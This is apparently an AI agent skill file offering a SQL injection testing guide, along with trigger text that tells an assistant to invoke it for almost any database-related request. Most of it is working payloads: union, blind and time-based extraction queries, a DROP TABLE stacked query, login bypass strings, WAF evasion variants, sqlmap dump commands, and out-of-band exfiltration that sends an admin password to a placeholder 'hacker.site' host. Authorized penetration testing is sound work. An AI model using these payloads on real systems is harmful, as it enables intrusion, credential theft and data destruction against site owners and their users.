Hacktricks-skills sql-injection-testing

SQL injection vulnerability testing and exploitation guide. Use this skill whenever the user mentions SQL injection, SQLi, database injection, SQL vulnerability testing, penetration testing of web applications, authentication bypass, WAF bypass, or any security testing involving database queries. This skill provides detection methods, exploitation techniques, and payloads for MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and other databases. Trigger this skill for any SQL injection related security assessment, even if the user doesn't explicitly say "SQL injection" but describes symptoms like unusual database behavior, query manipulation, or database exfiltration.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/sql-injection/SKILL.MD
source content

SQL Injection Testing Guide

A comprehensive guide for detecting and exploiting SQL injection vulnerabilities during security assessments.

When to Use This Skill

Use this skill when:

  • Testing web applications for SQL injection vulnerabilities
  • Analyzing unusual database query behavior
  • Performing authentication bypass testing
  • Bypassing WAFs during security assessments
  • Extracting database information through injection
  • Converting between hex/decimal for payload crafting
  • Any security testing involving database query manipulation

Detection Methodology

Step 1: Entry Point Detection

Start by testing common injection points with these payloads to escape the current context:

' " ` ') ") `) )) ")) `))

Look for:

  • Database errors in responses
  • Different page content between valid/invalid queries
  • Timing differences in response

Step 2: Confirm with Logical Operations

Test with these payloads to confirm SQLi:

?param=value' or '1'='1
?param=value" or "1"="1
?param=value and 1=1
?param=value and 1=2

If

1=1
and
1=2
produce different results, you likely have SQLi.

Step 3: Confirm with Timing (Blind SQLi)

For blind SQLi where you can't see output changes:

MySQL:

1' and sleep(10)--
1' and benchmark(10000000,sha1('test'))--

PostgreSQL:

1' || pg_sleep(10)--

MSSQL:

1' WAITFOR DELAY '0:0:10'--

Oracle:

1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)--

Step 4: Identify Backend Database

Use these queries to identify the database type:

DatabaseTest Query
MySQL
conv('a',16,2)=conv('a',16,2)
MSSQL
@@CONNECTIONS>0
Oracle
ROWNUM=ROWNUM
PostgreSQL
5::int=5
SQLite
sqlite_version()=sqlite_version()

Exploitation Techniques

Union-Based Injection

1. Find column count:

Use ORDER BY to find the number of columns:

1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--
# Stop when you get an error

2. Extract database information:

-- Get all database names
-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--

-- Get tables from a database
-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='database_name'--

-- Get columns from a table
-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='table_name'--

Blind SQL Injection

Extract data character by character:

?id=1 AND SUBSTR(table_name,1,1)='a'--
?id=1 AND SUBSTR(table_name,1,1)='b'--
# Continue for each character

Error-Based Injection

Force errors to exfiltrate data:

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Time-Based SQL Injection

Use timing to extract data:

1 and (select sleep(10) from users where SUBSTR(password,1,1)='a')--

Stacked Queries

Execute multiple queries (MySQL, MSSQL, PostgreSQL only - NOT Oracle):

1'; DROP TABLE users;--
1'; SELECT * FROM users;--

Out-of-Band Exfiltration

Exfiltrate data to external hosts:

-- DNS exfiltration
select load_file(concat('\\',version(),'.hacker.site\a.txt'));

-- XXE-based exfiltration (Oracle)
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='admin')||'.hacker.site/"> %remote;]>'),'/l') FROM dual--

Authentication Bypass

Common Login Bypass Payloads

admin'--
admin'/*
admin'#
' or '1'='1
' or 1=1--
admin' or '1'='1'--
admin' or 1=1#--

Hash-Based Bypass

For MD5 raw output vulnerabilities:

md5("ffifdyop", true) = 'or'6... (raw bytes)
sha1("3fDf ", true) = Q... (raw bytes)

GBK Encoding Bypass

When single quotes are escaped:

%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' or 1=1 --

SQL Truncation Attack

Create user

admin[25 spaces]a
to overwrite
admin
password (older MySQL):

username=admin[25 spaces]a
password=your_password

WAF Bypass Techniques

No Spaces Bypass

Use whitespace alternatives:

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Use comments:

?id=1/*comment*/and/**/1=1/**/--

Use parentheses:

?id=(1)and(1)=(1)--

No Commas Bypass

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Case Variation

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Operator Substitution

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE, REGEXP, RLIKE
WHERE -> HAVING

Scientific Notation Bypass

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Safety and Ethics

Important: Only use these techniques on systems you have explicit authorization to test. Unauthorized SQL injection testing is illegal and unethical.

Tools

  • sqlmap: Automated SQL injection tool

    sqlmap -u "http://target.com/page?id=1" --dbs
    sqlmap -u "http://target.com/page?id=1" --current-user --current-db
    sqlmap -u "http://target.com/page?id=1" --tables --dump
    
  • Atlas: WAF bypass suggester

References